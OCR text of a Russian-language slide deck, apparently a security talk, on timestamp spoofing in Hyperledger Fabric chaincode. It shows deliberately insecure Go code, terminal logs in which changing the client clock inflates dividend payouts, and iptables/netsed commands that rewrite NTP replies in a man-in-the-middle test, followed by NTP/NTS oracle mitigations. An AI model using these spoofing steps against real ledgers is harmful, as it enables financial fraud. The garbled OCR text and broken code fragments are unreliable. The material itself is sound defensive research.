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rne ncnonb3dyercsHa Hyperiedeger
Fabric

LindpoBble duHaHcoBbIE akTUBbI (LIDA): ATomam3, Jlantxayc, CIMNb 6unpxKa (ucrournk:
https://t.me/CFA_RF/204)

LLCDA NCIMONb3YIOTCAH OJ1d TOKEHWM3aALUWNWN. MONNE3HbIX MCKOlMaeMblX, HEOBVM>XMNMOCTH,
KpeantToBaHmMe, MexXayHapodHble rnepeBsoibl.

O6bEM pbiHKa LIPA B PO B 2023 — 60 Mnpa. py6 (nporHo3: 600 mnpa py6 k 2026)

(MCTOUHUK: https://Mww.acra-ratings.ru/research/2763/)

MporHo3 o6béMa MMPOBOIro pbiHka RWA K 2029 roay: > 8 TPAH $ (MCTOUHMK:
https://t. me/web3technews/461)

3J'IeI-(TpOHHOG ro10COBaHMeE, SHEPTIreTMKaA, 340aBOOXPaHEHNME N OP. (McTodHumk:
https://wiki.hyperledger.org/display/LMDWG/Use+Cases)
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GetTxTimestamp
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// GetTxTimestamp returns the timestamp when the transaction was created. This

// 1s taken from the transaction ChannelHeader, fktherefore it will indicate the
// client's timestamp and will have the same value across all endorsers.

GetTxTimestamp() (*timestamp.Timestamp, error)

Hcrounuk: https://github.com/hyperledger/fabric-chaincode-go/blob/043 1£709af2c/shim/interfaces.go#L.360C5-1L.363C48 4
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v func (t *TimeStampChaincode) Stake_insecure(stub shim.ChaincodeStubInterface, args []string) pb.Response {

if len(args) != 1 {
return shim.Error("Incorrect number of arguments. Expecting 1")

}
txTimestamp, err := stub.GetTxTimestamp()
if err != nil {
return shim.Error(fmt.Sprintf("Failed to get transaction timestamp: %v", err))
}
timestamp := time.Unix(txTimestamp.Seconds, int64(txTimestamp.Nanos)).Format(time.RFC3339)

err = stub.PutState("time", []byte(timestamp))
if err != nil {
return shim.Error(fmt.Sprintf("Failed to save timestamp: %v", err))

err = stub.PutState("amount", []byte(args[0]))
if err = nil {
return shim.Error(fmt.Sprintf("Failed to save amount: %v", err))

return shim.Success(nil)

Ucrounuk: https://github.com/shanker-sec/HLF TxTime spoofing/blob/dcc03b0be2422dd851e2f0500621d40a7e3c40/time_insecure/time_insecure.go#L.40 7
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func (t *TimeStampChaincode) CheckDividents_insecure(stub shim.ChaincodeStubInterface) pb.Response {§

txTime := time.Unix(txTimestamp.Seconds, int64(txTimestamp.Nanos))
days := int(txTime.Sub(savedTime).Abs().Hours()) / 24
amount, err := stub.GetState("amount") //amount

if err != nil {

return shim.Error(fmt.Sprintf("Failed to read amount: %v'", err))

}
amount_str := string(amount)
amount_int, _ := strconv.Atoi(amount_str)

dividents := amount_int + (days * amount_int * 2 / (365 * 10))|//days/365 amount*0.2

return shim.Success([]byte(strconv.Itoa(dividents)))

Uctounuk: https://github.com/shanker-sec/HLF TxTime_ spoofing/blob/dcc03b0be24122dd851e2f0f500621d40a7e3c40/time_insecure/time_insecure.go#L.113 8
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i 2 $ date

'sun Jun 16 04:22:31 UTC 2024 ;
! $ peer chaincode invoke -o orderer.example.com:7050 --ordererTLSHostnameOverride orderer.example.co
‘m --tls --cafile "${PWD}/organlzatlons/ordererOrganlzattons/example com/orderers/orderer.example.com/msp/tlscacerts/tls
ca.example.com-cert.pem" -C mychannel -n time_insecure --peerAddresses peer0.orgl.example.com:7051 --tlsRootCertFiles "
${PWD}/organizations/peerOrganizations/orgl.example.com/peers/peer@.orgl.example.com/tls/ca.crt" - -peerAddresses peer0.
org2.example.com:9051 --tlsRootCertFiles "${PWD}/organizations/peerOrganizations/org2.example.com/peers/peer0.org2.exam
ple.com/tls/ca.crt" -c '{"function":"Stake insecure","Args":["10000"]}' §
[chaincodeCmd] -> Chaincode invoke successful. result: sta

itus:ZGO
3 3 $ peer chaincode query -C mychannel -n time_insecure -c '{"Args":["CheckDividents_insecure"]}'
110000

1 : $ peer chaincode query -C mychannel -n time_insecure -c '{"Args":["subtractTimestamp"]}'
1m41.37549039s

) 9 $ sudo timedatectl set-time "2025-06-17"
$ peer chaincode query -C mychannel -n time_insecure -c '{"Args":["subtractTimestamp"]}'
8779h36m58 261429387s

$ peer chaincode query -C mychannel -n time_insecure -c |'{"Args":["CheckDividents_insecure"]}"'



Bpema OC 1 cpok cepTuchmnkarTad

tlsca.example.com

MoannHHOCTL: tlsca.example.com
MpoBepeH: tlsca.example.com

McTekaeT:[03.06.2034
[~ Moapo6HocTy

M tmp@tmp: ~/HLF_client @) = = o X

S date
Fr1 Jun 14 09:37:04 UTC 2024

g $ peer chaincode invoke -o orderer.example.com:7050 --ordererTLSHostnameOverride orderer.example.com --tls -
-caftle '${PWD}/organizations/ordererOrganizations/example.com/orderers/orderer.example.com/msp/tlscacerts/tlsca.example.com-cer
t.pem" -C mychannel -n time_1insecure --peerAddresses peer0.orgl.example.com:7051 --tlsRootCertFiles "${PWD}/organizations/peerOr
ganizations/orgl.example.com/peers/peer0.orgl.example.com/tls/ca.crt" --peerAddresses peer0.org2.example.com:9051 --tlsRootCertF
iles "${PWD}/organizations/peerOrganizations/org2.example.com/peers/peer0.org2.example.com/tls/ca.crt" -c '{"function":"Stake_in
secure","Args":["10000"]}"'

[chaincodeCmd] -> Chaincode invoke successful. result: status:200

g $ peer chaincode invoke -o orderer.example.com:7050 --ordererTLSHostnameOverride orderer.example.com --tls -
-cafile "${PWD}/organizations/ordererOrganizations/example.com/orderers/orderer.example.com/msp/tlscacerts/tlsca.example.com-cer
t.pem" -C mychannel -n time_insecure --peerAddresses peer0.orgl.example.com:7051 --tlsRootCertFiles "${PWD}/organizations/peerOr
ganizations/orgl.example.com/peers/peer®.orgl.example.com/tls/ca.crt" --peerAddresses peer®.org2.example.com:9051 --tlsRootCertF
iles "${PWD}/organizations/peerOrganizations/org2.example.com/peers/peer@.org2.example.com/tls/ca.crt" -c '{"function":"CheckDiv
idents_insecure","Args":["10000"]}'

[chaincodeCmd] -> Chaincode invoke successful. result: status:200 p
ayload:"10000"

r mp: $ sudo timedatectl set-time "2035-06-10 09:25"
S date
Sun Jun 10 09:25:13 UTC 2035

2 S peer chaincode invoke -o orderer.example.com:7050 --ordererTLSHostnameOverride orderer.example.com --tls -
-caftle "${PWD}/organizations/ordererOrganizations/example.com/orderers/orderer.example. com/msp/tlscacerts/tlsca example.com-cer
t.pem" -C mychannel -n time_insecure --peerAddresses peer0.orgl.example.com:7051 --tlsRootCertFiles "${PWD}/organizations/peerOr
ganizations/orgl.example.com/peers/peer®.orgl.example.com/tls/ca.crt" --peerAddresses peer®.org2.example.com:9051 --tlsRootCertF
iles "${PWD}/organizations/peerOrganizations/org2.example.com/peers/peer@.org2.example.com/tls/ca.crt" -c '{"function":"CheckDiv
idents insecure","Args":["10000"1}"'

[main] -> Cannot run peer because error when setting up MSP of type bccsp from dir
ectory /home/tmp/HLF_client/organizations/peerOrganizations/orgl.example.com/users/Admin@orgl.example.com/msp: signing identity
explred 8929h47m17.901658891s ago

S sudo timedatectl set-time "2034-06-02 09:25"
[sudo] password for tmp:

g $ peer chaincode invoke -o orderer.example.com:7050 --ordererTLSHostnameOverride orderer.example.com --tls -
-cafile "${PWD}/organizations/ordererOrganizations/example.com/orderers/orderer.example.com/msp/tlscacerts/tlsca.example.com-cer
t.pem" -C mychannel -n time_insecure --peerAddresses peer0.orgl.example.com:7051 --tlsRootCertFiles "${PWD}/organizations/peerOr
ganizations/orgl.example.com/peers/peer@.orgl.example.com/tls/ca.crt" - -peerAddresses peer0.org2.example.com:9051 --tlsRootCertF
iles "${PWD}/organizations/peerOrganizations/org2.example.com/peers/peer0.org2.example.com/tls/ca.crt" -c '{"function":"CheckDiv
idents_insecure","Args":["10000"]}'

[chaincodeCmd] -> Chaincode invoke successful. result: status:200 p
ayload:"29939"
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GetHistoryForKey()

// FetHistoryForKey returns a history of key values across time.
// For each historic key update, the historic value and associated

// transaction id and timestamp are returned. The timestamp is the

//| timestamp provided by the client in the proposal header.

// GetHistoryForKey requires peer configuration

// core. ledger.history.enableHistoryDatabase to be true.

// | The query is NOT re-executed during validation phase, phantom reads are

// not detected. That is, other committed transactions may have updated

//| the key concurrently, impacting the result set, and this would not be

// | detected at validation/commit time. Applications susceptible to this

// | should therefore not use GetHistoryForKey as part of transactions that

// update ledger, and should limit use to read-only chaincode operations.

// |Starting in Fabric v2.0, the GetHistoryForKey chaincode API

// (will return results from newest to oldest in terms of ordered transaction

// lheight (block height and transaction height within block).

// This will allow applications to efficiently iterate through the top results

// to understand recent changes to a key. ; 3
GetHistoryForKey(key string) (HistoryQueryIteratorInterface, error) ' %4&,

_________________________________________________________________________________________________________________________________________________________

Hctounuk: https://github.com/hyperledger/fabric-chaincode-go/blob/release-2.3/shim/interfaces.go#L.220C5-L236C43 12
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// GetTxTimestamp returns the timestamp when the transaction was created. This

// 1s taken from the transaction ChannelHeader, fktherefore it will indicate the
// client's timestamp and will have the same value across all endorsers.

GetTxTimestamp() (*timestamp.Timestamp, error)

Hcrounuk: https://github.com/hyperledger/fabric-chaincode-go/blob/043 1£709af2c/shim/interfaces.go#L.360C5-1L.363C48
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GetHistoryForKey()
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tmp@tmp: $ date
Mon [Jun 16 17:54:07 UTC 2025
tmp@tmp: $ peer chaincode invoke -o orderer.example.com:7050 --ordererTLSHostnameOverride orderer.exampl
e.com --tls --cafile "${PWD}/organizations/ordererOrganizations/example.com/orderers/orderer.example.com/msp/tlscac
erts/tlsca.example.com-cert.pem" -C mychannel -n time_insecure --peerAddresses peer0.orgl.example.com:7051 --tlsRoo
tCertFiles "${PWD}/organizations/peerOrganizations/orgl.example.com/peers/peer0.orgl.example.com/tls/ca.crt" --peer
Addresses peerQ.org2.example.com:9051 --tlsRootCertFiles "S{PWD}/organizations/peerOrganizations/org2.example.com/p
eers/peer@.org2.example.com/tls/ca.crt" -c '{"function":"Stake_insecure","Args":["10000"]}"
[chaincodeCmd] -> Chaincode invoke successful. result:
status:200
tmp@tmp: $ peer chaincode query -C mychannel -n time_insecure -c |'{"Args":["getHistory"]}'
History for amount: [10000], [2025-06-16T17:54:15Z7]
tmp@tmp: S sudo timedatectl set-time "2026-06-16 16:51"
[sudo] password for tmp:
tmp@tmp: $ sudo timedatectl set-time|"2024-06-16 16:51"
[sudo] password for tmp:
tmp@tmp: $ date
Sun Jun 16 16:51:02 UTC 2024
tmp@tmp: $ peer chaincode invoke -o orderer.example.com:7050 --ordererTLSHostnameOverride orderer.exampl
e.com --tls --cafile "${PWD}/organizations/ordererOrganizations/example.com/orderers/orderer.example.com/msp/tlscac
erts/tlsca.example.com-cert.pem" -C mychannel -n time_insecure --peerAddresses peer0.orgl.example.com:7051 --tlsRoo
tCertFiles "${PWD}/organizations/peerOrganizations/orgl.example.com/peers/peer0.orgl.example.com/tls/ca.crt" --peer
Addresses peer@.org2.example.com:9051 --tlsRootCertFiles "S{PWD}/organizations/peerOrganizations/org2.example.com/p
eers/peer@.org2.example.com/tls/ca.crt" -c '{"function":"Stake_insecure","Args":["20000"]}"
[chaincodeCmd] -> Chaincode invoke successful. result:
status:200
tmp@tmp: S peer chaincode query -C mychannel -n time_insecure -c '{"Args":["getHistory"]}'
History for amount: |[20000 10000], [2024-06-16T16:51:10Z 2025-06-16T17:54:15Z]
tmp@tmp: $ sudo timedatectl set-time "2026-06-16 16:51"
tmp@tmp: $ peer chaincode invoke -o orderer.example.com:7050 --ordererTLSHostnameOverride orderer.exampl
e.com --tls --cafile "${PWD}/organizations/ordererOrganizations/example.com/orderers/orderer.example.com/msp/tlscac
erts/tlsca.example.com-cert.pem" -C mychannel -n time_insecure --peerAddresses peer0.orgl.example.com:7051 --tlsRoo
tCertFiles "${PWD}/organizations/peerOrganizations/orgl.example.com/peers/peer0.orgl.example.com/tls/ca.crt" --peer
Addresses peer0.org2.example.com:9051 --tlsRootCertFiles "${PWD}/organizations/peerOrganizations/org2.example.com/p ~
eers/peer@.org2.example.com/tls/ca.crt" -c '{"function":"Stake_insecure","Args":["30000"]}"
[chaincodeCmd] -> Chailncode invoke successful. result: S
status:200 =
tmp@tmp: $ peer chaincode query -C mychannel -n time insecure -c| '{"Args":["getHistory"]}'

History for amount: |[30000 20000 10000], [2026-06-16T16:51:04Z 2024-06-16T16:51:10Z 2025-06-16T17:54:157] 14
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max_time_diff := 300
diff := int(math.Abs(txTime.Sub(timeNow).Abs().Seconds()))
if diff > max_time_diff {

return shim.Error(fmt.Sprintf("Wrong time")) a ;
} N
timestamp := time.Unix(txTimestamp.Seconds, int64(txTimestamp.Nanos)).Format(time.RFC3339)

err = stub.PutState("time", []byte(timestamp))
if err != nil {

return shim.Error(fmt.Sprintf("Failed to save timestamp: %v", err))

19
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$ date
Fr'L Jun 14 09:25:33 UTC 2024
? $ peer chaincode invoke -o orderer.example.com:7050 --ordererTLSHostnameOverride orderer.example.com --tls -
-caflle "${PWD}/organizations/ordererOrganizations/example.com/orderers/orderer.example.com/msp/tlscacerts/tlsca.example.com-cer
t.pem" -C mychannel -n time_secure_localtime --peerAddresses peer®.orgl.example.com:7051 --tlsRootCertFiles "${PWD}/organization
s/peerOrganizations/orgl.example.com/peers/peero.orgl.example.com/tls/ca.crt” - -peerAddresses peer@.orgz.example.com 9051 --tlsR
ootCertFiles "${PWD}/organizations/peerOrganizations/org2.example.com/peers/peer@.org2.example.com/tls/ca.crt" -c '{"function":"
Stake_secure_localtime","Args":["10000"]}"'
[chaincodeCmd] -> Chaincode invoke successful. result: status:200
p@tmp: $ peer chaincode query -C mychannel -n time_secure_localtime -c|'{"Args":["subtractTimestamp"]}'
8.87432977s
mp 2 $ peer chaincode query -C mychannel -n time_secure_localtime -c |'{"Args":["CheckDividents_secure_localtime"]
10000
@tmp: $ sudo timedatectl set-time "2025-06-14 09:25"
$ peer chaincode query -C mychannel -n time_secure_localtime -c |'{"Args":["subtractTimestamp"]}'
8759h59m30 879641682s
$ peer chaincode query -C mychannel -n time_secure_localtime -c|'{"Args":["CheckDividents_secure_localtime"]

1

Error: endorsement failure during query. response: status:500 message:"Wrong time"

]l |

Hcrounuk: https://github.com/shanker-sec/HLF TxTime spoofing/blob/dcc03b0be2422dd851e2f0f500621d40a7e3c40/time secure localtime/
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8 $ date
Fr1 Jun 14 09:14:09 UTC 2024
$ peer chaincode invoke -o orderer.example.com:7050 --ordererTLSHostnameOverride orderer.example!
.com --tls --cafile "${PWD}/organlzatlons/ordererOrganlzatlons/example com/orderers/orderer.example.com/msp/tlscacer
ts/tlsca.example.com-cert.pem" -C mychannel -n time_secure_ntp --peerAddresses peer0.orgl.example.com:7051 --tlsRoot
CertFiles "${PWD}/organizations/peerOrganizations/orgl.example.com/peers/peer@.orgl.example.com/tls/ca.crt" --peerAd:
dresses peer@.org2.example.com:9051 --tlsRootCertFiles "${PWD}/organizations/peerOrqganizations/org2.example.com/peer
s/peer0.org2.example.com/tls/ca.crt" -c |'{"function":"Stake_secure_ntp","Args":["10000"]}"'
[chaincodeCmd | -> Chaincode invoke successful. result:
status:200 1
3 $ peer chaincode query -C mychannel -n time_secure_ntp -c '{"Args":["CheckDividents_secure_ntp"]
10000
mp@tmp: $ peer chaincode query -C mychannel -n time_secure_ntp -c |'{"Args":["subtractTimestamp"]}'
1m26.270448524s
3 $ sudo timedatectl set-time| "2025-06-14 09:14"
$ peer chaincode query -C mychannel -n time_secure_ntp -c |'{"Args":["subtractTimestamp"]}"'
8759h59m52 100572839s
$ peer chaincode query -C mychannel -n time_secure_ntp -c |'{"Args":["CheckDividents_secure_ntp"]
} ' ‘

Error: endorsement failure during query. response: status:500 message:"Wrong time"
3 $ sudo timedatectl set-time|"2024-06-14 09:17"

[sudo] password for tmp:

mp 3 $ peer chaincode query -C mychannel -n time_secure_ntp -c|'{"Args":["CheckDividents_secure_ntp"]

10000

G $ peer chaincode query -C mychannel -n time_secure_ntp -c|'{"Args":["subtractTimestamp"]}"'

s 1

3m2.410121949s

Hcrounuk: https://github.com/shanker-sec/HLF TxTime spoofing/tree/dcc03b0be24122dd851e2f0f500621d40a7e3c40/time secure ntp 21
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$ date
Thu Jun 20 13:46:15 UTC 2024

$ peer chaincode invoke -o orderer.example.com:7050 --ordererTLSHostnameOverride orderer.example.com --tls ——caf
ile " ${PWD}/organlzatlons/ordererOrganlzatlons/example com/orderers/orderer.example.com/msp/tlscacerts/tlsca.example.com-cert.pem" -
'C mychannel -n time_secure_nts --peerAddresses peer0.orgl.example.com:7051 --tlsRootCertFiles "${PWD}/organizations/peerOrganization
s/orgl.example.com/peers/peer0.orgl.example.com/tls/ca.crt" --peerAddresses peer0.org2.example.com:9051 --tlsRootCertFiles "${PWD}/o
rganizations/peerOrganizations/org2.example.com/peers/peer0.org2.example.com/tls/ca.crt" -c |'"{"function":"Stake_secure_nts","Args":[
"10000"]}"

[chaincodeCmd] -> Chaincode invoke successful. result: status:200
T : $ peer chaincode query -C mychannel -n time_secure_nts -c|'{"Args":["subtractTimestamp"]}'

‘7.8901064095
i $ sudo timedatectl set-time "2026-06-10 13:32"
$ date
Ned Jun 10 13:32:02 UTC 2026
$ peer chaincode query -C mychannel -n time_secure_nts -c |'{"Args":["subtractTimestamp"]}'
17279h45m49 247129444s

$ peer chaincode query -C mychannel -n time_secure_nts -c |'{"Args":["CheckDividents_secure_nts"]}"'
Error endorsement failure during query. response: status:500 message:"Wrong time"

$ sudo timedatectl set-time "2024-06-20 13:51"
[sudo] password for tmp:

S date
Thu Jun 20 13:51:01 UTC 2024

S peer chaincode query -C mychannel -n time_secure_nts -c|'{"Args":["CheckDividents_secure_nts"]}"'

10000

HcTounuk:

https://github.com/shanker-sec/HLF TxTime spoofing/tree/dcc03b0be24122dd851e2f0f500621d40a7e3c40/time secure nts

NO,
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Ncnonbayemasi bubnuoteka ansa pabotel ¢ NTS /
YCTON4YMBA K aTake «4enoBeK nocepeamHe»? &

UTo genatb pa3paboTymkam cMapT-KOHTPaKTOB Ha
a3blkax Java, TS, JS?
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Opakyn BpeMmeHW:

NTP server

Time Oracle

NTS server

https://github.com/shanker-sec/hlf-time-oracle

24
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NTP server \
NTS server

netsed

00100 000I(EIDE) GetTimeNtp() | peer chaincode query

docker mitmproxy

Oracle 0.0.0.0:8080 (TCP)

172.18.0.0/24

25



OTBeT NTP-cepBepa B Wireshark ' SEF_
x R 2024

» Internet Protocol Version 4, Src: 213.234.203.30, Dst: 172.18.0.5 -
» User Datagram Protocol, Src Port: 123, Dst Port: 45677 A
v Network Time Protocol (NTP Version 4, server) Y
» Flags: 0x24, Leap Indicator: no warning, Version number: NTP Ve

Peer Clock Stratum: secondary reference (2)

Peer Polling Interval: invalid (3)

Peer Clock Precision: 0,000000 seconds

Root Delay: 0,050339 seconds

Root Dispersion: 0,022537 seconds

Reference ID: 192.36.143.150

Reference Timestamp: [Jul 6, 2024 13:46:49.186813666 UTC

Origin Timestamp: Dec 30, 2071 18:56:13.796406762 UTC

Receive Timestamp

08 00 00
98 30 00
d5 ea cb
24 02 03

c9
0050 [ea 33]cc

PAS



NoameHda acaHHbLIX g NTP B netsed 3EFe

2024

iptables -t nat -A PREROUTING -s
172.18.0.0/24 -d 213.234.203.30/32 -p udp -m

$ netsed udp 4000 213.234.203.30 123 |'s/%ea%33/%eF%33' UdP --dporti123-mudp -j REDIRECT

Enetsed 1.2 by Julien VdG <julien@silicone.homelinux.org> --to-ports 4000
based on 0.01c from Michal Zalewski <lcamtuf@ids.pl>

Parsing rule s/%ea%33/%eF%33...

Loaded 1 rule...

Using fixed forwarding to 213.234.203.30,123.

Listening on port 4000/udp.

Got incoming connection from 172.18.0.6,42272 to 172.18.0.6,42272

Forwarding connection to 213.234.203.30,123

Caught client -> server packet.

Forwarding untouched packet of size 48.

Caught server -> client packet.

Applying rule s/%ea%33/%eF%33...

Applying rule s/%ea%33/%eF%33...

] Applying rule s/%ea%33/%eF%33...

[*] Done 3 replacements, forwarding packet of size 48 (orig 48).

*
| WSS RN Sy S S NS SUS— Su—— ) S_—

-+

— = r————————
* + % + + + +
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3anpoc K cbvHkumm GetTimeNtp B
VCJ1IOBUAX pa6oTbl nhetsed

+ "4

S e e e e e e S BB e R B e e BB e e B B B

S peer chaincode query -C mychannel -n
tlme oracle -c '"{"Args":["GetTimeNtp"]}'
12027-03-04 10:05:08.217208761 +0000 UTC

.....................................................................................................................................

VFF
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NMoameHd aaHHbLIX AnNa NTS B netsed

+

w

tmp@tmp $ netsed udp 4000 104.131.155.175 8123 's/%ea%33/%eF%33'
gnetsed 1 2 by Julien VdG <julien@silicone.homelinux.org>
based on 0.01c from Michal Zalewski <lcamtuf@ids.pl>

[*] Parsing rule s/%ea%33/%eF%33...
[+] Loaded 1 rule...
[+] Using fixed forwarding to 104.131.155.175,8123.
'[+] Listening on port 4000/udp.
[+] Got incoming connection from 172.18.0.5,37642 to 172.18.0.5,37642
'[*] Forwarding connection to 104.131.155.175,8123
[+] Caught client -> server packet.
[*] Forwarding untouched packet of size 232.
[+] Caught server -> client packet.

Applying rule s/%ea%33/%eF%33...

Applying rule s/%ea%33/%eF%33...
: Applying rule s/%ea%33/%eF%33...
.[*] Done 3 replacements, forwarding packet of size 232 (orig 232).

\
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MoancoumpoBOHHbDbIN OTBEeT

NTS-cepBepd

» Internet Protocol Version 4, Src: 104.131.155.175, Dst: 172.18.0.6
» User Datagram Protocol, Src Port: 8123, Dst Port: 36148
v Network Time Protocol (NTP Version 4, server)

» Flags: 0x24, Leap Indicator: no warning, Version number: NTP Ver

Peer
Peer
Peer
Root
Root

Clock Stratum: secondary reference (2)
Polling Interval: invalid (0)

Clock Precision: 0,000000 seconds
Delay: 0,003998 seconds

Dispersion: 0,005066 seconds

Reference ID: 64.142.122.37
Reference Timestamp:|Mar 4, 2027|10:06:17.800268126 UTC

Origin Timestamp: Jul 5, 2029 08:11:56.492547135 UTC
Receive Timestamp: |Mar 4, 2027 [10:09:41.870385089 UTC

Transmit Timestamp Mar 4, 2027 10:09:41.870440931 UTC
0050 ef 33 b6 e5 de di1 8e a8 [[LINEEN 3

~

L bRe

g 2024

30



3anpoc K chyHkumm GetTimeNts B {ERE
VCIIOBMAX pa6oTbl netsed

+ "4

w

e '{"Args":[“GetTimeNts"]}'
Error: endorsement failure during query. response: status:500 message:

tmp@ $ peer chaincode query -C mychannel -n time_oracle
"Failed to get response from NTS servers, see log file" ‘

3]



siorm KoHTemHepdad c OpakysiomMm B
VCJ1IOBUAX pa6oTbl nhetsed

-+ "4

w

@ $ docker logs f474aac@ee05
2024/07/06 12:37:22 error in the GetTimeNts(): authentication failed on client
2024/07/06 12:37:22 Reach end of file : nts txt

zONE

2024
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NMNoameHd cepTncoOkKaTAda B . {EFE
> ONE
o G ¢ 2024
MitMmproxy )
info: [14:31:32.778][172.18.0.6:49504] client connect o
warn: [14:31:32.793][172.18.0.6:49504] Client TLS handshake failed. The client = g —
does not trust the proxy's certificate for ntpl.glypnod.com (ssl/tls alert bad N
certificate) T~
info: [14:31:32.794][172.18.0.6:49504] client disconnect
tmp@tmp: ~/ ; : $ docker logs 6df584592f17 ‘
2024/07/06 14:31:32 error in the GetTimeNts(): key exchange failure: tls: failed .
to verify certificate: x509: certificate signed by unknown authority iptables -t nat -A PREROUTING -p tcp
igigég;/@s 14:31:32 Reach end of file : n‘;s.txt _s 172.18.0.0/24 ——deI’t 4460 -m tcp -d
104.131.155.175 -j REDIRECT --to 8080

33
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w

Emp@tmp ¢ $ docker logs 3a6fbc5dddfc
2025/05/01 00:07:27 error in the GetTimeNts(): key exchange failure: x509

: certificate has expired or is not yet valid: current time 2025-05-01T00
:07:27Z is after 2024-08-20T07:05:34Z

~ o= o= I~ ~ o~ o~ — o~ — -~ 1 1 ~ ~e*s -
2025705701 0070727 Redtir enma ol rcte @ nts.txt |

s 1
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:

Oracle 1

»
>
»
>

Oracle 2

NTS 1

Chaincode

NTS 2
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- : \
e 4
e PaspaboTtka nornku onpoca Heckonbkux Opakynos
(1 KOHCeHcyca Mo uUTory ornpoca) ‘ ' \
e OnpeneneHne OONYCTUMOrO OTKITOHEHNSI BPEMEHU .
(cm CORE_CHAINCODE_EXECUTETIMEOUT *) . [
e HeobxogmmocTtb nogHATUA nokanbHoro NTP\NTS \ A
(ONa pekoMmeHaQyemMoro BapuaHTa) s ¥ -/ / —
’ i
. -
e TpeboBaHus k HagéxHocTn NTP\NTS ‘ . P’ =z
P
n 4
/ -

* https://github.com/hyperledger/fabric/blob/155457a6624b3c740b22e5729c35¢c8499bfe952cd/sampleconfig/coreyaml#L640 ; 36



Ynpolwu&HHas cxema Hyperledger Y ERe
Fabric N
AN

McTouHuk: https:/hyperledger-fabric.readthedocs.io/ru/latest/network/network.html

AN

Cl — kaHan
P1, P2 — nnp y3nbl

O4 — cny»xba
ynopagoYmBaHus 2) |

L1,L.2 — Konunu peecTpa
S5 - yenHKoL

Al, A2 — NpUnoxxeHums
R1,R2,R4 — opraHmsaumm

CA (1,2,4) — ueHTpbI
cepTndmkaumnm
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OApyrom BOPUAHT \ - SEF_

web-server

amount (TR

Chaincode

I'Ipo6neMa C NCTOHHMKOM BpeEMEeHWN HE
YLiisna, a rnepemMectmiiacCb B gpyroe MmecTto.

func()

user

amount (from user)
time (from somewhere)

Service
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@shanker_feedback_bot

https://habr.com/users/shanker/
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https://github.com/shanker-sec



